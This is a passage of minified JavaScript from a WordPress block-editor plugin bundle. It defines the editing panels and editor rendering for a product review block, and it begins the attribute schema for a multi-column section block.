ia=[{label:(0,o.__)("Default","otter-blocks"),value:"default",isDefault:!0},{label:(0,o.__)("Boxed","otter-blocks"),value:"boxed"}],sa=[{label:(0,o.__)("Inline","otter-blocks"),value:"inline-features"}],ca=[{label:(0,o.__)("H2","otter-blocks"),value:"h2"},{label:(0,o.__)("H3","otter-blocks"),value:"h3"},{label:(0,o.__)("H4","otter-blocks"),value:"h4"},{label:(0,o.__)("H5","otter-blocks"),value:"h5"},{label:(0,o.__)("H6","otter-blocks"),value:"h6"}],da=[{name:(0,o.__)("XS","otter-blocks"),size:"14px",slug:"xs"},{name:(0,o.__)("Small","otter-blocks"),size:"16px",slug:"small"},{name:(0,o.__)("Medium","otter-blocks"),size:"18px",slug:"medium"},{name:(0,o.__)("Large","otter-blocks"),size:"24px",slug:"large"},{name:(0,o.__)("XL","otter-blocks"),size:"28px",slug:"xl"}],ua=({title:e,remove:t,children:l})=>{const[a,n]=(0,b.useState)(!1);return(0,i.createElement)("div",{className:"o-review__inspector_panel_item"},(0,i.createElement)("div",{className:"o-review__inspector_panel_item__header"},(0,i.createElement)(p.Button,{className:"o-review__inspector_panel_item__title",onClick:()=>n(!a)},e),(0,i.createElement)(p.Button,{icon:"no-alt",label:(0,o.__)("Remove","otter-blocks"),showTooltip:!0,className:"o-review__inspector_panel_item__arrow",onClick:t})),a&&(0,i.createElement)("div",{className:"o-review__inspector_panel_item__content"},l))};var ba=({attributes:e,setAttributes:t,getValue:l,productAttributes:a})=>{const[n,r]=(0,y.useTabSwitch)(e.id,"settings"),{responsiveSetAttributes:s,responsiveGetAttributes:c}=(0,k.Y)(t),d=l=>{const a=[...e.features];switch(l.action){case"add":a.push({title:(0,o.__)("Feature","otter-blocks"),rating:9});break;case"remove":a.splice(l.index,1);break;case"update":a[l.index]={...a[l.index],...l.value}}t({features:a})},m=l=>{const o=[...e[l.type]];switch(l.action){case"add":o.push("");break;case"remove":o.splice(l.index,1);break;case"update":o[l.index]=l.value}t({[l.type]:o})},f=l=>{const a=[...e.links];switch(l.action){case"add":a.push({label:(0,o.__)("Buy Now","otter-blocks"),href:""});break;case"remove":a.splice(l.index,1);break;case"update":a[l.index]={...a[l.index],...l.value}}t({links:a})};return(0,i.createElement)(u.InspectorControls,null,(0,i.createElement)(g.Hn,{value:n,options:[{label:(0,o.__)("Settings","otter-blocks"),value:"settings"},{label:(0,o.__)("Style","otter-blocks"),value:"style"}],onChange:r}),"settings"===n&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Settings","otter-blocks")},(0,i.createElement)(g.Lp,{label:(0,o.__)("Column Structure","otter-blocks"),options:[{label:(0,o.__)("One Column","otter-blocks"),value:"is-style-single-column"},{label:(0,o.__)("Two Columns","otter-blocks"),value:"default"}],value:e?.className?.includes("is-style-single-column")?"is-style-single-column":"default",onChange:l=>{const o=e?.className?.split(" ")||[];"default"===l&&o.includes("is-style-single-column")?o.splice(o.indexOf("is-style-single-column"),1):"is-style-single-column"!==l||o.includes("is-style-single-column")||o.push("is-style-single-column"),t({className:o.join(" ")})}}),(e.image||a?.image)&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(g.Lp,{label:(0,o.__)("Image Area Width","otter-blocks"),options:[{label:(0,o.__)("25%","otter-blocks"),value:25},{label:(0,o.__)("33%","otter-blocks"),value:33},{label:(0,o.__)("50%","otter-blocks"),value:50},{label:(0,o.__)("100%","otter-blocks"),value:100}],value:e.imageWidth||33,onChange:e=>t({imageWidth:Number(e)})}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Image Size","otter-blocks"),value:e.imageSize,options:window.themeisleGutenberg.imageSizes.map((e=>({label:(0,A.startCase)((0,A.toLower)(e)),value:e}))),onChange:e=>t({imageSize:e})}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Product Details","otter-blocks"),initialOpen:!1},e.product&&(0,i.createElement)(p.Notice,{status:"warning",isDismissible:!1,className:"o-html-anchor-control-notice"},(0,o.__)("WooCommerce product synchronization is active. Some options might be disabled.","otter-blocks")),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Product Name","otter-blocks"),type:"text",placeholder:(0,o.__)("Name of your product…","otter-blocks"),value:a?.title||e.title,disabled:e.product,onChange:e=>t({title:e})}),(0,i.createElement)(p.BaseControl,null,(0,i.createElement)(p.TextControl,{label:(0,o.__)("Currency","otter-blocks"),type:"text",placeholder:(0,o.__)("Currency code, like USD or EUR.","otter-blocks"),value:a?.currency||e.currency,disabled:e.product,onChange:e=>t({currency:e})}),(0,o.__)("Currency code in three digit ISO 4217 code.","otter-blocks")+" ",(0,i.createElement)(p.ExternalLink,{href:"https://en.wikipedia.org/wiki/ISO_4217#Active_codes"},(0,o.__)("List of ISO 4217 codes.","otter-blocks"))),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Price","otter-blocks"),type:"number",value:a?.price||e.price,disabled:e.product,onChange:e=>t({price:""!==e?Number(e):void 0})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Discounted Price","otter-blocks"),type:"number",value:a?.discounted||e.discounted,disabled:e.product,onChange:e=>t({discounted:""!==e?Number(e):void 0})}),e.image||a?.image?(0,i.createElement)(p.BaseControl,{className:"o-review__inspector_image"},(0,i.createElement)("img",{src:a?.image?.url||e.image.url,alt:a?.image?.url||e.image.alt}),(0,i.createElement)(p.Button,{isSecondary:!0,onClick:()=>t({image:void 0}),disabled:e.product},(0,o.__)("Remove image","otter-blocks"))):(0,i.createElement)(u.MediaPlaceholder,{labels:{title:(0,o.__)("Product Image","otter-blocks")},accept:"image/*",allowedTypes:["image"],value:e.image,onSelect:e=>t({image:(0,A.pick)(e,["id","alt","url"])})})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Product Features","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Inline rating features","otter-blocks"),checked:"inline-features"===(0,h.tB)(sa,e?.className),onChange:l=>{t({className:(0,h.L4)(e?.className,sa,l?"inline-features":void 0)})}}),0<e.features.length&&e.features.map(((e,t)=>(0,i.createElement)(ua,{key:t,title:e.title||(0,o.__)("Feature","otter-blocks"),remove:()=>d({action:"remove",index:t})},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),type:"text",placeholder:(0,o.__)("Feature title","otter-blocks"),value:e.title,onChange:e=>d({action:"update",index:t,value:{title:e}})}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Rating","otter-blocks"),value:e.rating,onChange:e=>d({action:"update",index:t,value:{rating:Number(e)}}),step:.1,min:1,max:10}),(0,i.createElement)(p.TextareaControl,{label:(0,o.__)("Description","otter-blocks"),placeholder:(0,o.__)("Feature Description"),value:e.description,onChange:e=>d({action:"update",index:t,value:{description:e}})})))),(0,i.createElement)(p.Button,{isSecondary:!0,className:"o-review__inspector_add",onClick:()=>d({action:"add"})},(0,o.__)("Add Feature","otter-blocks"))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Pros","otter-blocks"),initialOpen:!1},0<e.pros.length&&e.pros.map(((e,t)=>(0,i.createElement)(ua,{key:t,title:e||(0,o.__)("Pro","otter-blocks"),remove:()=>m({type:"pros",action:"remove",index:t})},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),type:"text",placeholder:(0,o.__)("Why do you like the product?","otter-blocks"),value:e,onChange:e=>m({type:"pros",action:"update",index:t,value:e})})))),(0,i.createElement)(p.Button,{isSecondary:!0,className:"o-review__inspector_add",onClick:()=>m({type:"pros",action:"add"})},(0,o.__)("Add Item","otter-blocks"))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Cons","otter-blocks"),initialOpen:!1},0<e.cons.length&&e.cons.map(((e,t)=>(0,i.createElement)(ua,{key:t,title:e||(0,o.__)("Con","otter-blocks"),remove:()=>m({type:"cons",action:"remove",index:t})},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Title","otter-blocks"),type:"text",placeholder:(0,o.__)("What can be improved?","otter-blocks"),value:e,onChange:e=>m({type:"cons",action:"update",index:t,value:e})})))),(0,i.createElement)(p.Button,{isSecondary:!0,className:"o-review__inspector_add",onClick:()=>m({type:"cons",action:"add"})},(0,o.__)("Add Item","otter-blocks"))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Buttons","otter-blocks"),initialOpen:!1},e.product&&(0,i.createElement)(p.Notice,{status:"warning",isDismissible:!1,className:"o-html-anchor-control-notice"},(0,o.__)("WooCommerce product synchronization is active. Some options might be disabled.","otter-blocks")),0<a?.links?.length&&a?.links?.map(((t,l)=>(0,i.createElement)(ua,{key:l,title:t.label||(0,o.__)("Link","otter-blocks"),remove:()=>f({action:"remove",index:l})},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Label","otter-blocks"),type:"text",placeholder:(0,o.__)("Button label","otter-blocks"),disabled:e.product,value:t.label}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Link","otter-blocks"),type:"url",placeholder:"https://…",value:t.href,disabled:e.product}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Is this Sponsored?","otter-blocks"),checked:t.isSponsored,disabled:e.product}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Open in New Tab","otter-blocks"),checked:"_blank"===t.target,disabled:e.product})))),!(0<a?.links?.length)&&(0,i.createElement)(b.Fragment,null,0<e.links.length&&e.links.map(((e,t)=>(0,i.createElement)(ua,{key:t,title:e.label||(0,o.__)("Link","otter-blocks"),remove:()=>f({action:"remove",index:t})},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Label","otter-blocks"),type:"text",placeholder:(0,o.__)("Button label","otter-blocks"),value:e.label,onChange:e=>f({action:"update",index:t,value:{label:e}})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Link","otter-blocks"),type:"url",placeholder:"https://…",value:e.href,onChange:e=>f({action:"update",index:t,value:{href:e}})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Is this Sponsored?","otter-blocks"),checked:e.isSponsored,onChange:()=>f({action:"update",index:t,value:{isSponsored:!e.isSponsored}})}),(0,i.createElement)(p.ToggleControl,{label:(0,o.__)("Open in New Tab","otter-blocks"),checked:void 0===e.target||"_blank"===e.target,onChange:()=>f({action:"update",index:t,value:{target:"_blank"===e.target||void 0===e.target?"_self":"_blank"}})})))),(0,i.createElement)(p.Button,{isSecondary:!0,className:"o-review__inspector_add",onClick:()=>f({action:"add"})},(0,o.__)("Add Links","otter-blocks")))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Labels","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.TextControl,{label:(0,o.__)("Pros","otter-blocks"),value:e.prosLabel,onChange:e=>t({prosLabel:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Cons","otter-blocks"),value:e.consLabel,onChange:e=>t({consLabel:e})}),(0,i.createElement)(p.TextControl,{label:(0,o.__)("Buttons","otter-blocks"),value:e.buttonsLabel,onChange:e=>t({buttonsLabel:e})})),(0,i.createElement)(g.p,null)),"style"===n&&(0,i.createElement)(b.Fragment,null,(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Style","otter-blocks")},(0,i.createElement)(g.Lp,{options:ia,value:(0,h.tB)(ia,e?.className),onChange:l=>{const o=(0,h.L4)(e?.className,ia,l);t({className:o})}})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Typography","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Main Heading","otter-blocks"),help:(0,o.__)("Product Title HTML Tag","otter-blocks"),options:ca,value:e.mainHeading||"h2",onChange:e=>t({mainHeading:e})}),(0,i.createElement)(p.SelectControl,{label:(0,o.__)("Sub Heading","otter-blocks"),help:(0,o.__)("Pros and Cons titles HTML Tag","otter-blocks"),options:ca,value:e.subHeading||"h3",onChange:e=>t({subHeading:e})}),(0,i.createElement)(p.BaseControl,{label:(0,o.__)("Content","otter-blocks")},(0,i.createElement)(p.FontSizePicker,{fontSizes:da,withReset:!0,value:e.contentFontSize,onChange:e=>t({contentFontSize:e})}))),(0,i.createElement)(g._X,{label:(0,o.__)("Color","otter-blocks"),isSynced:e.isSynced,options:[{label:(0,o.__)("Background","otter-blocks"),slug:"backgroundColor",value:l("backgroundColor")},{label:(0,o.__)("Text","otter-blocks"),slug:"textColor",value:l("textColor")},{label:(0,o.__)("Button","otter-blocks"),slug:"primaryColor",value:l("primaryColor")},{label:(0,o.__)("Button Text","otter-blocks"),slug:"buttonTextColor",value:l("buttonTextColor")},{label:(0,o.__)("Border","otter-blocks"),slug:"borderColor",value:l("borderColor")},{label:(0,o.__)("Stars","otter-blocks"),slug:"starsColor",value:l("starsColor")},{label:(0,o.__)("Pros","otter-blocks"),slug:"prosColor",value:l("prosColor")},{label:(0,o.__)("Cons","otter-blocks"),slug:"consColor",value:l("consColor")}],setAttributes:t},(0,i.createElement)(u.ContrastChecker,{textColor:l("textColor"),backgroundColor:l("backgroundColor")}),(0,i.createElement)(u.ContrastChecker,{textColor:l("buttonTextColor"),backgroundColor:l("primaryColor")})),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Dimensions","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.n9,{label:(0,o.__)("Screen Type","otter-blocks")},(0,i.createElement)(p.__experimentalBoxControl,{label:(0,o.__)("Padding","otter-blocks"),values:c([e.padding,e.paddingTablet,e.paddingMobile]),onChange:e=>s(e,["padding","paddingTablet","paddingMobile"]),allowReset:!0}))),(0,i.createElement)(p.PanelBody,{title:(0,o.__)("Border","otter-blocks"),initialOpen:!1},(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Width","otter-blocks"),value:e.borderWidth,onChange:e=>t({borderWidth:e}),min:0,max:50,allowReset:!0}),(0,i.createElement)(p.RangeControl,{label:(0,o.__)("Radius","otter-blocks"),value:e.borderRadius,onChange:e=>t({borderRadius:e}),min:0,max:100,allowReset:!0}),(0,i.createElement)(g.I7,{boxShadow:e.boxShadow,onChange:l=>{const o={...e.boxShadow};Object.entries(l).map((([e,t]=l)=>{o[e]=t})),t({boxShadow:o})}}))),!Boolean(window.themeisleGutenberg.hasPro)&&(0,i.createElement)(p.PanelBody,{title:(0,o.__)("More Features","otter-blocks"),initialOpen:!1},(0,i.createElement)(g.qX,{notice:(0,i.createElement)(p.ExternalLink,{href:(0,h.Wi)(window.themeisleGutenberg.upgradeLink,"reviewblock")},(0,o.__)("Get more options with Otter Pro. ","otter-blocks")),variant:"upsell"})))};const{attributes:ma}=aa,pa=({rating:e})=>{const t=[],l=Boolean(window.themeisleGutenberg.ratingScale)?2:1;for(let o=0;10/l>o;o++)t.push((0,i.createElement)(r.StarFilled,{key:o,className:c()({filled:o<Math.round(e/l)})}));return t};const{name:ga,attributes:ha}=aa;window.themeisleGutenberg.defaultReviewAttributes=ha,(0,a.registerBlockType)(ga,{...aa,title:(0,o.__)("Product Review","otter-blocks"),description:(0,o.__)("Turn your posts into smart reviews with ratings and generate leads with a performing review block. Powered by Otter.","otter-blocks"),icon:r.reviewIcon,keywords:["product","review","stars"],edit:({name:e,attributes:t,setAttributes:l,clientId:a,isSelected:n,status:s="isInactive",productAttributes:d={}})=>{var g,f;(0,b.useEffect)((()=>{const e=(0,y.blockInit)(a,ma);return()=>e(t.id)}),[t.id]);const{image:v}=(0,m.useSelect)((e=>{let l;const o=t.imageSize||"medium";return(t.image?.id||d.image?.id)&&(l=e("core").getMedia(t.image?.id||d.image?.id,{context:"view"})),l=l?0<Object.keys(l.media_details.sizes).length&&l.media_details.sizes[o]?l.media_details.sizes[o].source_url:l.source_url:null,{image:l}}),[t.image,t.imageSize,d]),_=l=>(0,y.getDefaultValueByField)({name:e,field:l,defaultAttributes:ma,attributes:t});(0,k.W)(_("backgroundColor"),t,l);const C=(t.features.reduce(((e,t)=>e+t.rating),0)/t.features.length).toFixed(1),w=(e,o)=>{const a=[...t.features];a[e]={...a[e],...o},l({features:a})},E=_("boxShadow"),x={"--background-color":_("backgroundColor"),"--primary-color":_("primaryColor"),"--text-color":_("textColor"),"--button-text-color":_("buttonTextColor"),"--border-color":_("borderColor"),"--stars-color":_("starsColor"),"--pros-color":_("prosColor"),"--cons-color":_("consColor"),"--content-font-size":_("contentFontSize"),...t?.padding?.top&&{"--padding-desktop-top":t.padding.top},...t?.padding?.bottom&&{"--padding-desktop-bottom":t.padding.bottom},...t?.padding?.right&&{"--padding-desktop-right":t.padding.right},...t?.padding?.left&&{"--padding-desktop-left":t.padding.left},...t?.paddingTablet?.top&&{"--padding-tablet-top":t.paddingTablet.top},...t?.paddingTablet?.bottom&&{"--padding-tablet-bottom":t.paddingTablet.bottom},...t?.paddingTablet?.right&&{"--padding-tablet-right":t.paddingTablet.right},...t?.paddingTablet?.left&&{"--padding-tablet-left":t.paddingTablet.left},...t?.paddingMobile?.top&&{"--padding-mobile-top":t.paddingMobile.top},...t?.paddingMobile?.bottom&&{"--padding-mobile-bottom":t.paddingMobile.bottom},...t?.paddingMobile?.right&&{"--padding-mobile-right":t.paddingMobile.right},...t?.paddingMobile?.left&&{"--padding-mobile-left":t.paddingMobile.left},"--border-width":(0,h.Yj)(_("borderWidth")),"--border-radius":(0,h.Yj)(_("borderRadius")),"--box-shadow":E.active&&`${E.horizontal}px ${E.vertical}px ${E.blur}px ${E.spread}px ${O()(E.color||"#FFFFFF",E.colorOpacity)}`},S="object"==typeof s&&null!==s&&s.isError||"isLoading"===s,T=(t?.className?.includes("is-style-single-column"),t?.className?.includes("is-style-inline-features"),Boolean(window.themeisleGutenberg.ratingScale)?2:1),B=(0,u.useBlockProps)({id:t.id,className:S?"is-placeholder":c()({"no-pros-cons":!(0<t.pros.length||0<t.cons.length),"no-footer":!(0<d?.links?.length||0<t.links.length)}),style:x}),M=t.mainHeading||"h2",P=t.subHeading||"h3";return"isLoading"===s?(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ba,{attributes:t,setAttributes:l,getValue:_,productAttributes:d}),(0,i.createElement)("div",{...B},(0,i.createElement)(p.Placeholder,null,(0,i.createElement)(p.Spinner,null)))):"object"==typeof s&&null!==s&&s.isError?(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ba,{attributes:t,setAttributes:l,getValue:_,productAttributes:d}),(0,i.createElement)("div",{...B},(0,i.createElement)(p.Placeholder,{instructions:s.message}))):(0,i.createElement)(b.Fragment,null,(0,i.createElement)(ba,{attributes:t,setAttributes:l,getValue:_,productAttributes:d}),(0,i.createElement)("div",{...B},(0,i.createElement)("div",{className:"o-review__header"},d?.title?(0,i.createElement)(u.RichText.Content,{placeholder:(0,o.__)("Name of your product…","otter-blocks"),allowedFormats:[],value:d?.title,tagName:M}):(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Name of your product…","otter-blocks"),allowedFormats:[],value:t.title,onChange:e=>l({title:e}),tagName:M}),(0,i.createElement)("div",{className:"o-review__header_meta"},(0,i.createElement)("div",{className:"o-review__header_ratings"},(0,i.createElement)("div",{className:"o-review__header_ratings__stars"},(0,i.createElement)(pa,{rating:Math.max(C,1)})),(0,i.createElement)("span",null,/** translators: %s Rating score. */(0,o.sprintf)((0,o.__)("%f out of %f","otter-blocks"),Math.max(Math.abs(C/T).toFixed(1)||0,1),10/T))),(0,i.createElement)("span",{className:"o-review__header_price"},(d?.price&&d?.discounted||t.price&&t.discounted)&&(0,i.createElement)("del",null,(null!==(g=ra()(d?.currency||t.currency))&&void 0!==g?g:"$")+""+(d?.price||t.price)||0),(t.price||t.discounted||d?.price||d?.discounted)&&(null!==(f=ra()(d?.currency||t.currency))&&void 0!==f?f:"$")+""+(d?.discounted||t.discounted?d?.discounted||t.discounted:d?.price||t.price))),(0,i.createElement)("div",{className:c()("o-review__header_details",{"is-single":!v||!n&&!t.description,[{25:"is-quarter",50:"is-half",100:"is-full"}[t.imageWidth]]:t.imageWidth&&33!==t.imageWidth})},d?.image?(0,i.createElement)("img",{src:v,alt:d?.image?.alt}):t.image&&(0,i.createElement)("img",{src:v,alt:t.image.alt}),!n&&!t.description||d?.description?(0,i.createElement)(u.RichText.Content,{placeholder:(0,o.__)("Product description or a small review…","otter-blocks"),value:d?.description,tagName:"p"}):(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Product description or a small review…","otter-blocks"),value:t.description,onChange:e=>l({description:e}),tagName:"p"}))),(0,i.createElement)("div",{className:"o-review__left"},(0,i.createElement)("div",{className:"o-review__left_features"},0<t.features.length&&t.features.map(((e,t)=>(0,i.createElement)("div",{className:"o-review__left_feature",key:t},(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Feature title","otter-blocks"),value:e.title,className:"o-review__left_feature_title",onChange:e=>w(t,{title:e}),tagName:"span"}),(0,i.createElement)("div",{className:"o-review__left_feature_ratings"},(0,i.createElement)("div",{className:"o-review__left_feature_ratings__stars"},(0,i.createElement)(pa,{rating:Math.max(e.rating,1)})),(0,i.createElement)("span",{className:"o-review__left_feature_num"},/** translators: %s Rating score. */(0,o.sprintf)((0,o.__)("%f out of %f","otter-blocks"),Math.max(Math.abs(e.rating/T).toFixed(1)||0,1),10/T))),(n||e.description)&&(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Feature Description...","otter-blocks"),value:e.description,className:"o-review__left_feature_description",onChange:e=>w(t,{description:e}),tagName:"span"})))))),(0<t.pros.length||0<t.cons.length)&&(0,i.createElement)("div",{className:"o-review__right"},0<t.pros.length&&(0,i.createElement)("div",{className:"o-review__right_pros"},(0,i.createElement)(P,null,t.prosLabel),t.pros.map(((e,a)=>(0,i.createElement)("div",{className:"o-review__right_pros_item",key:a},r.check,(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("Why do you like the product?","otter-blocks"),value:e,onChange:e=>((e,o)=>{const a=[...t.pros];a[e]=o,l({pros:a})})(a,e),tagName:"p"}))))),0<t.cons.length&&(0,i.createElement)("div",{className:"o-review__right_cons"},(0,i.createElement)(P,null,t.consLabel),t.cons.map(((e,a)=>(0,i.createElement)("div",{className:"o-review__right_cons_item",key:a},r.close,(0,i.createElement)(u.RichText,{placeholder:(0,o.__)("What can be improved?","otter-blocks"),value:e,onChange:e=>((e,o)=>{const a=[...t.cons];a[e]=o,l({cons:a})})(a,e),tagName:"p"})))))),(0<d?.links?.length||0<t.links.length)&&(0,i.createElement)("div",{className:"o-review__footer"},(0,i.createElement)(P,{className:"o-review__footer_label"},t.buttonsLabel),(0,i.createElement)("div",{className:"o-review__footer_buttons"},(d?.links||t.links).map(((e,a)=>(0,i.createElement)(u.RichText,{key:a,placeholder:(0,o.__)("Button label","otter-blocks"),value:e.label,disabled:0<d?.links,onChange:e=>((e,o)=>{const a=[...t.links];a[e]={...a[e],...o},l({links:a})})(a,{label:e}),tagName:"span"})))))))},save:()=>null,example:{attributes:{}}});var ka=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":2,"name":"themeisle-blocks/advanced-columns","title":"Section","category":"themeisle-blocks","description":"Add a Section block that displays content in multiple columns, then add whatever content blocks you’d like. Powered by Otter.","keywords":["advanced columns","layout","section"],"textdomain":"otter-blocks","attributes":{"id":{"type":"string"},"columns":{"type":"number"},"layout":{"type":"string"},"layoutTablet":{"type":"string","default":"equal"},"layoutMobile":{"type":"string","default":"equal"},"padding":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"paddingTablet":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"paddingMobile":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"margin":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"marginTablet":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"marginMobile":{"type":"object","default":{"top":"0px","right":"0px","bottom":"0px","left":"0px"}},"columnsWidth":{"type":["number","string"]},"columnsWidthTablet":{"type":"string"},"columnsWidthMobile":{"type":"string"},"horizontalAlign":{"type":"string","default":"unset"},"columnsHeight":{"type":"string","default":"auto"},"columnsHeightCustom":{"type":["number","string"]},"columnsHeightCustomTablet":{"type":["number","string"]},"columnsHeightCustomMobile":{"type":["number","string"]},"verticalAlign":{"type":"string","default":"unset"},"color":{"type":"string"},"colorHover":{"type":"string"},"linkColor":{"type":"string"},"backgroundType":{"type":"string","default":"color"},"backgroundColor":{"type":"string"},"backgroundImage":{"type":"object"},"backgroundAttachment":{"type":"string","default":"scroll"},"backgroundPosition":{"type":"object"},"backgroundRepeat":{"type":"string","default":"repeat"},"backgroundSize":{"type":"string","default":"auto"},"backgroundGradient":{"type":"string","default":"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)"},"backgroundOverlayOpacity":{"type":"number","default":50},"backgroundOverlayType":{"type":"string","default":"color"},"backgroundOverlayColor":{"type":"string"},"backgroundOverlayImage":{"type":"object"},"backgroundOverlayAttachment":{"type":"string","default":"scroll"},"backgroundOverlayPosition":{"type":"object"},"backgroundOverlayRepeat":{"type":"string","default":"repeat"},"backgroundOverlaySize":{"type":"string","default":"auto"},"backgroundOverlayGradient":{"type":"string","default":"linear-gradient(90deg,rgba(54,209,220,1) 0%,rgba(91,134,229,1) 100%)"},"backgroundOverlayFilterBlur":{"type":"number","default":0},"backgroundOverlayFilterBrightness":{"type":"number","default":10},"backgroundOverlayFilterContrast":{"type":"number","default":10},"backgroundOverlayFilterGrayscale":{"type":"number","default":0},"backgroundOverlayFilterHue":{"type":"number","default":0},"backgroundOverlayFilterSaturate":{"type":"number","default":10},"backgroundOverlayBlend":{"type":"string","default":"normal"},"border":{"type":"object"},"borderColor":{"type":"string"},"borderRadius":{"type":"object"},"boxShadow":{"type":"boolean","default":false},"boxShadowColor":{"type":"string","default":"#000000"},"boxShadowColorOpacity":{"type":"number","default":50},"boxShadowBlur":{"type":"number","default":5},"boxShadowSpread":{"type":"number","default":0},"boxShadowHorizontal":{"type":"number","default":0},"boxShadowVertical":{"type":"number","default":0},"dividerTopType":{"type":"string","default":"none"},"dividerTopColor":{"type":"string","default":"#000000"},"dividerTopWidth":{"type":"number"},"dividerTopWidthTablet":{"type":"number"},"dividerTopWidthMobile":{"type":"number"},"dividerTopHeight":{"type":"number"},"dividerTopHeightTablet":{"type":"number"},"dividerTopHeightMobile":{"type":"number"},"dividerTopInvert":{"type":"boolean","default":false},"dividerBottomType":{"type":"string","default":"none"},"dividerBottomColor":{"type":"string","default":"#000000"},"dividerBottomWidth":{"type":"number"},"dividerBottomWidthTablet":{"type":"number"},"dividerBottomWidthMobile":{"type":"number"},"dividerBottomHeight":{"type":"number"},"dividerBottomHeightTablet":{"type":"number"},"dividerBottomHeightMobile":{"type":"number"},"dividerBottomInvert":{"type":"boolean","default":false},"hide":{"type":"boolean","default":false},"hideTablet":{"type":"boolean","default":false},"hideMobile":{"type":"boolean","default":false},"reverseColumnsTablet":{"type":"boolean","default":false},"reverseColumnsMobile":{"type":"boolean","default":false},"columnsHTMLTag":{"type":"string","default":"div"},"isSynced":{"type":"array"}},"supports":{"align":["wide","full"],"html":false},"editorStyle":"otter-advanced-columns-editor","style":"otter-advanced-columns-style"}');const ya={align:{type:"string"},id:{type:"string"},columns:{type:"number"},layout:{type:"string"},layoutTablet:{type:"string",default:"equal"},layoutMobile:{type:"string",default:"equal"},columnsGap:{type:"string",default:"default"},paddingType:{type:"string",default:"linked"},paddingTypeTablet:{type:"string",default:"linked"},paddingTypeMobile:{type:"string",default:"linked"},padding:{type:"number",default:20},paddingTablet:{type:"number",default:20},paddingMobile:{type:"number",default:20},paddingTop:{type:"number",default:20},paddingTopTablet:{type:"number",default:20},paddingTopMobile:{type:"number",default:20},paddingRight:{type:"number",default:20},paddingRightTablet:{type:"number",default:20},paddingRightMobile:{type:"number",default:20},paddingBottom:{type:"number",default:20},paddingBottomTablet:{type:"number",default:20},paddingBottomMobile:{type:"number",default:20},paddingLeft:{type:"number",default:20},paddingLeftTablet:{type:"number",default:20},paddingLeftMobile:{type:"number",default:20},marginType:{type:"string",default:"unlinked"},marginTypeTablet:{type:"string",default:"unlinked"},marginTypeMobile:{type:"string",default:"unlinked"},margin:{type:"number",default:20},marginTablet:{type:"number",default:20},marginMobile:{type:"number",default:20},marginTop:{type:"number",default:20},marginTopTablet:{type:"number",default:20},marginTopMobile:{type:"number",default:20},marginBottom:{type:"number",default:20},marginBottomTablet:{type:"number",default:20},marginBottomMobile:{type:"number",default:20},columnsWidth:{type:"number"},columnsHeight:{type:"string",default:"auto"},columnsHeightCustom:{type:"number"},columnsHeightCustomTablet:{type:"number"},columnsHeightCustomMobile:{type:"number"},horizontalAlign:{type:"string",default:"unset"},verticalAlign:{type:"string",default:"unset"},backgroundType:{type:"string",default:"color"},backgroundColor:{type:"string"},backgroundImageID:{type:"number"},backgroundImageURL:{type:"string"},backgroundAttachment:{type:"string",default:"scroll"},backgroundPosition:{type:"string",default:"top left"},backgroundRepeat:{type:"string",default:"repeat"},backgroundSize:{type:"string",default:"auto"},backgroundGradientFirstColor:{type:"string",default:"#36d1dc"},backgroundGradientFirstLocation:{type:"number",default:0},backgroundGradientSecondColor:{type:"string",default:"#5b86e5"},backgroundGradientSecondLocation:{type:"number",default:100},backgroundGradientType:{type:"string",default:"linear"},backgroundGradientAngle:{type:"number",default:90},backgroundGradientPosition:{type:"string",default:"center center"},backgroundOverlayOpacity:{type:"number",default:50},backgroundOverlayType:{type:"string",default:"color"},backgroundOverlayColor:{type:"string"},backgroundOverlayImageID:{type:"number"},backgroundOverlayImageURL:{type:"string"},backgroundOverlayAttachment:{type:"string",default:"scroll"},backgroundOverlayPosition:{type:"string",default:"top 